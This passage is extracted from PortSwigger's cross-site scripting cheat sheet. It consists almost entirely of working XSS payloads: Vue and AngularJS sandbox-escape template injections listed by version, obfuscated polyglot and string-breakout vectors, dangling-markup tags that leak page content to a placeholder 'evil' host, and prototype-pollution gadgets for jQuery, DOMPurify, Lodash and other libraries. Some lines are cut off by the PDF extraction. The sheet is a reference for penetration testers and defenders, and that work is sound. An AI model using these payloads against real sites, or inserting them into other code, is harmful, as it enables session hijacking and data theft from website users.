Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
30
{{_b.constructor`alert(1)`()}}
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
40
<x v-bind:is="'script'" src="//14.rs" />
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 43/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
27
<x is=script src=//⑭.₨>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
48
<x @click='_b.constructor`alert(1)`()'>click</x>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x @[_b.constructor`alert(1)`()]>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x :[_b.constructor`alert(1)`()]>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x #[_c.constructor`alert(1)`()]>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
52
<x title"="<iframe	onload	=alert(1)>">
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 44/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
73
<x title"="<iframe	onload	=setTimeout(/alert(1)/.source)>">
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
31
<xyz<img/src onerror=alert(1)>>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
116
<svg><svg><b><noscript></noscript><iframe	onload=setTimeout(/alert(1)/.source)></noscript></b><
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
59
<a @['c\lic\u{6b}']="_c.constructor('alert(1)')()">test</a>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
42
{{$el.ownerDocument.defaultView.alert(1)}}
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
56
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 45/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
45
<img src @error=e=$event.path.pop().alert(1)>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
55
<img src @error=e=$event.composedPath().pop().alert(1)>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
30
<img src @error=this.alert(1)>
Copy
Link
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
24
<svg@load=this.alert(1)>
Copy
Link
Version 2
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
40
{{_openBlock.constructor('alert(1)')()}}
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
42
{{_createBlock.constructor('alert(1)')()}}
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 46/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
46
{{_toDisplayString.constructor('alert(1)')()}}
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
42
{{_createVNode.constructor('alert(1)')()}}
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
47
<p v-show=_createBlock.constructor`alert(1)`()>
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
41
<x @[_openBlock.constructor`alert(1)`()]>
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
42
<x @[_capitalize.constructor`alert(1)`()]>
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
52
<x @click=_withCtx.constructor`alert(1)`()>click</x>
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 47/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
40
<x @click=$event.view.alert(1)>click</x>
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
34
{{_Vue.h.constructor`alert(1)`()}}
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
{{$emit.constructor`alert(1)`()}}
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
85
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
85
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
Copy
Link
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
35
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 48/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
41
{{constructor.constructor('alert(1)')()}}
Copy
Link
33
{{$on.constructor('alert(1)')()}}
Copy
Link
1.2.0 - 1.2.1
122
{{a='constructor';b=
{};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
Copy
Link
1.2.2 - 1.2.5
23
{{{}.")));alert(1)//"}}
Copy
Link
1.2.6 - 1.2.18
106
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
Copy
Link
1.2.19 - 1.2.23
124
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);}}
Copy
Link
1.2.24 - 1.2.29
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 49/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
23
{{{}.")));alert(1)//"}}
Copy
Link
1.2.27-1.2.29/1.3.0-1.3.20
23
{{{}.")));alert(1)//"}}
Copy
Link
1.3.0
272
{{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (app
constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a
'delete F.valueOf;' + 'alert(1);' )));}}
Copy
Link
1.3.3 - 1.3.18
128
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=
[].join;$eval('x=alert(1)//');}}
Copy
Link
1.3.19
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}
Copy
Link
1.3.20
65
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
Copy
Link
1.4.0 - 1.4.9
74
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 50/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Copy
Link
1.5.0 - 1.5.8
79
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
Copy
Link
1.5.9 - 1.5.11
517
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=o
B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:
(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; ");
m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');
[].push.apply=a; }}
Copy
Link
326
{{c=''.sub.call;b=''.sub.bind;c.$apply=$apply;c.$eval=b;$root.$$phase=null;$root.$digest=$on;
C=c.$apply(c);B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='alert(1)';a
e.argument={type:'Identifier'};");m1=$$asyncQueue.pop().expression;m2=B(C,null,m1);[].push.apply=m2;$eval('B(b)
Copy
Link
>=1.6.0
41
{{constructor.constructor('alert(1)')()}}
Copy
Link
>=1.6.0 (shorter)
33
{{$on.constructor('alert(1)')()}}
Copy
Link
1.0.1 - 1.1.5
37
constructor.constructor('alert(1)')()
Copy
Link
1.2.0 - 1.2.18
118
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert
()
Copy
Link
1.2.19 - 1.2.23
119
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor)
Copy
Link
1.2.24 - 1.2.26
317
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]
['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__
['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()
Copy
Link
1.2.27-1.2.29/1.3.0-1.3.20
20
{}.")));alert(1)//";
Copy
Link
1.4.0-1.4.5
75
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 52/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
1.4.2-1.5.8
70
{y:''.constructor.prototype}.y.charAt=[].join;[1]|orderBy:'x=alert(1)'
Copy
Link
>=1.6.0
37
constructor.constructor('alert(1)')()
Copy
Link
134
toString().constructor.prototype.charAt=[].join;
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
Copy
Link
91
Copy
Link
66
Copy
Link
91
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 53/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
1.2.0 - 1.5.0
190
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><
ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
Copy
Link
59
<input ng-cut=$event.composedPath()|orderBy:'(y=alert)(1)'>
Copy
Link
Scriptless attacks
Dangling markup
Background attribute
Copy
Link
Copy
Link
Copy
Link
Meta refresh
Copy
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 54/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Link
Copy
Link
Copy
Link
<video><source src="//evil?
Copy
Link
<audio><source src="//evil?
Copy
Link
Input src
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 55/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Input using formaction
Copy
Link
Copy
Link
Object data
<object data="//evil?
Copy
Link
Iframe src
<iframe src="//evil?
Copy
Link
Embed src
<embed src="//evil?
Copy
Link
Copy
Link
Copy
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 56/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 57/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
Copy
Link
Polyglots
Polyglot payload 1
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'
Copy
Link
Polyglot payload 2
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \"
onmouseover=/*<svg/*/onload=alert()//>
Copy
Link
Polyglot payload 3
javascript:/*--></title></style></textarea></script></xmp>
<details/open/ontoggle='+/`/+/"/+/onmouseover=1/+/[*/[]/+alert(/@PortSwiggerRes/)//'>
Copy
Link
';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 58/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//
Copy
Link
';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//
Copy
Link
';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//
Copy
Link
';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//
Copy
Link
';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//
Copy
Link
';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
Copy
Link
';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
Copy
Link
';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 59/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//
Copy
Link
';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//
Copy
Link
';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//
Copy
Link
';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//
Copy
Link
';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//
Copy
Link
';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
Copy
Link
';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
Copy
Link
';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
Copy
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 60/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Link
';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
Copy
Link
';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
Copy
Link
';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
Copy
Link
';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']
Copy
Link
XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)
';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
Link
XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)
';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
Link
XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)
';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
Link
XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)
';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 61/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)
';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
Link
XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)
';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//
Copy
Link
XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)
';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');
Copy
Link
';window['\141\154\145\162\164']('\130\123\123');//
Copy
Link
';self['\141\154\145\162\164']('\130\123\123');//
Copy
Link
';this['\141\154\145\162\164']('\130\123\123');//
Copy
Link
';top['\141\154\145\162\164']('\130\123\123');//
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 62/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
XSS into a JavaScript string: octal escape sequence (parent)
';parent['\141\154\145\162\164']('\130\123\123');//
Copy
Link
';frames['\141\154\145\162\164']('\130\123\123');//
Copy
Link
';globalThis['\141\154\145\162\164']('\130\123\123');//
Copy
Link
';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Copy
Link
';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Copy
Link
';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Copy
Link
';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 63/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Copy
Link
';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Copy
Link
';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Copy
Link
';window[/al/.source+/ert/.source](/XSS/.source);//
Copy
Link
';self[/al/.source+/ert/.source](/XSS/.source);//
Copy
Link
';this[/al/.source+/ert/.source](/XSS/.source);//
Copy
Link
';top[/al/.source+/ert/.source](/XSS/.source);//
Copy
Link
';parent[/al/.source+/ert/.source](/XSS/.source);//
Copy
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 64/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Link
';frames[/al/.source+/ert/.source](/XSS/.source);//
Copy
Link
';globalThis[/al/.source+/ert/.source](/XSS/.source);//
Copy
Link
';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+
[+!![]]);//
Copy
Link
';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[]
[]]);//
Copy
Link
';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[]
[]]);//
Copy
Link
';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])
[]]);//
Copy
Link
';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+
[+!![]]);//
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 65/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+
[+!![]]);//
Copy
Link
';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((
[])[+!![]]);//
Copy
Link
Content types
This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.
text/html <script>alert(document.domain)</script>
text/vtt <script>alert(document.domain)</script>
text/cache-manifest <script>alert(document.domain)</script>
This section lists content-types that can be used for XSS when you can inject into the content-type header.
text/html(xxx <script>alert(document.domain)</script>
Impossible labs
To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs.
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 66/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
backslash are escaped you can't simply close the script block.
The closest we've got to solving this is when you have multiple injection points. The first within
a script based context and the second in HTML.
innerHTML context but no You have a site that processes the query string and URL decodes the parameters but splits N/A N/A
equals allowed on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't
use = to create an event.
Basic context length limit This lab's injection occurs within the basic HTML context but has a length limitation of 15. 15 <q oncut=alert``
Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q
oncut=alert`` but can you beat it?
Attribute context length The context of this lab inside an attribute with a length limitation of 14 characters. We came 14 "oncut=alert``
limit up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing
space. Do you think you can beat it?
Basic context length limit, It's all well and good executing JavaScript but if all you can do is call alert what use is that? In 19 <q
arbitrary code this lab we demonstrate the shortest possible way to execute arbitrary code. oncut=eval(name
Attribute context length Again calling alert proves you can call a function but we created another lab to find the 17 See link
limit arbitrary code shortest possible attribute based injection with arbitrary JavaScript.
Injection occurs inside a We received a request from twitter about this next lab. It occurs within a frameset but before a N/A N/A
frameset but before the body tag with equals filtered. You would think you could inject a closing frameset followed by a
body script block but that would be too easy.
Injection occurs inside The injection occurs within a single quoted string and the challenge is to execute arbitrary N/A N/A
single quoted string, only code using the charset a-zA-Z0-9'+.`. Luan Herrera solved this lab in an amazing way, you
characters a-z0-9+'.` are can view the solution in the following post.
allowed.
Injection occurs inside The double quote is encoded, the challenge is to find a way to execute XSS within a quoted N/A N/A
double quoted src attribute src attribute.
of a image element
Prototype pollution
Wistia Embedded <script> William All return (typeof wistiaEmbeds !== 'undefined')
Video Object.prototype.innerHTML = Bowling versions
'<img/src/onerror=alert(1)>';
</script>
$(x).off jQuery <script> Sergey All return (typeof $ !== 'undefined' && typeof $.fn !== 'unde
Object.prototype.preventDefault='x'; Bobrov versions && typeof $.fn.jquery !== 'undefined')
Object.prototype.handleObj='x';
Object.prototype.delegateTarget='<im
g/src/onerror=alert(1)>';
/* No extra code needed for jQuery 1
& 2 */$(document).off('foobar');
</script>
$(html) jQuery <script> Sergey All return (typeof $ !== 'undefined' && typeof $.fn !== 'unde
Object.prototype.div=['1','<img src Bobrov versions && typeof $.fn.jquery !== 'undefined')
onerror=alert(1)>','1']
</script><script>
$('<div x="x"></div>')
</script>
$.get jQuery <script> Michał >= 3.0.0 return (typeof $ !== 'undefined' && typeof $.fn !== 'unde
Object.prototype.url = Bentkowski && typeof $.fn.jquery !== 'undefined')
['data:,alert(1)//'];
Object.prototype.dataType =
'script';
</script>
<script>
$.get('https://google.com/');
$.post('https://google.com/');
</script>
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 67/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
$.getScript jQuery <script> s1r1us >= 3.4.0 return (typeof $ !== 'undefined' && typeof $.fn !== 'unde
Object.prototype.src = && typeof $.fn.jquery !== 'undefined')
['data:,alert(1)//']
</script>
<script>
$.getScript('https://google.com/')
</script>
$.getScript jQuery <script> s1r1us 3.0.0 - return (typeof $ !== 'undefined' && typeof $.fn !== 'unde
Object.prototype.url = 3.3.1 && typeof $.fn.jquery !== 'undefined')
'data:,alert(1)//'
</script>
<script>
$.getScript('https://google.com/')
</script>
Twitter Universal <script> Sergey return (typeof twq !== 'undefined' && typeof twq.version
Website Tag Object.prototype.hif = Bobrov 'undefined')
['javascript:alert(document.domain)'
];
</script>
Tealium Universal <script> Sergey return (typeof utag !== 'undefined' && typeof utag.id !==
Tag Object.prototype.attrs = {src:1}; Bobrov 'undefined')
Object.prototype.src='https://portsw
igger-labs.net/xss/xss.js'
</script>
Lodash <script> Alex <= return (typeof _ !== 'undefined' && typeof _.template !=
Object.prototype.sourceURL = Brasetvik 4.17.15 'undefined' && typeof _.VERSION !== 'undefined')
'\u2028\u2029alert(1)'
</script>
<script>
_.template('test')
</script>
DOMPurify <script> Michał <= 2.0.12 return (typeof DOMPurify !== 'undefined')
Object.prototype.ALLOWED_ATTR = Bentkowski
['onerror', 'src']
</script>
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 68/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<script>
document.write(DOMPurify.sanitize('<
img src onerror=alert(1)>'))
</script>
DOMPurify <script> Michał <= 2.0.12 return (typeof DOMPurify !== 'undefined')
Object.prototype.documentMode = 9 Bentkowski
</script>
Closure <script> Michał return (typeof goog !== 'undefined' && typeof goog.bas
const html = '<img src Bentkowski !== 'undefined')
onerror=alert(1)>';
const sanitizer = new
goog.html.sanitizer.HtmlSanitizer();
const sanitized =
sanitizer.sanitize(html);
const node =
goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
Closure <script> Michał return (typeof goog !== 'undefined' && typeof goog.bas
Object.prototype.CLOSURE_BASE_PATH = Bentkowski !== 'undefined')
'data:,alert(1)//';
</script>
Marionette.js / <script> Sergey return (typeof Marionette !== 'undefined') return (typeof
Backbone.js Object.prototype.tagName = 'img' Bobrov Backbone !== 'undefined' && typeof Backbone.VERSIO
Object.prototype.src = ['x:x'] 'undefined')
Object.prototype.onerror =
['alert(1)']
</script>
<script>
(function() {
var View = Mn.View.extend({template:
'#template-layout'});
var App =
Mn.Application.extend({region:
'#app', onStart: function()
{this.showView(new View());}});
var app = new App();
app.start();
})();
</script>
<div id="template-layout" type="x-
template/underscore">xxx</div>
Segment <script> Sergey return (typeof analytics !== 'undefined' && typeof
Analytics.js Object.prototype.script = Bobrov analytics.SNIPPET_VERSION !== 'undefined')
[1,'<img/src/onerror=alert(1)>','<im
g/src/onerror=alert(2)>']
</script>
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 69/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
[alert(1)]:1,'b";Object.prototype[5]
=',';
</script><script>
ko.applyBindings({})
</script>
$(x).on jQuery <script> Andrei All return (typeof $ !== 'undefined' && typeof $.fn !== 'unde
Object.prototype.on = 'click'; Nicolaiciuc versions && typeof $.fn.jquery !== 'undefined')
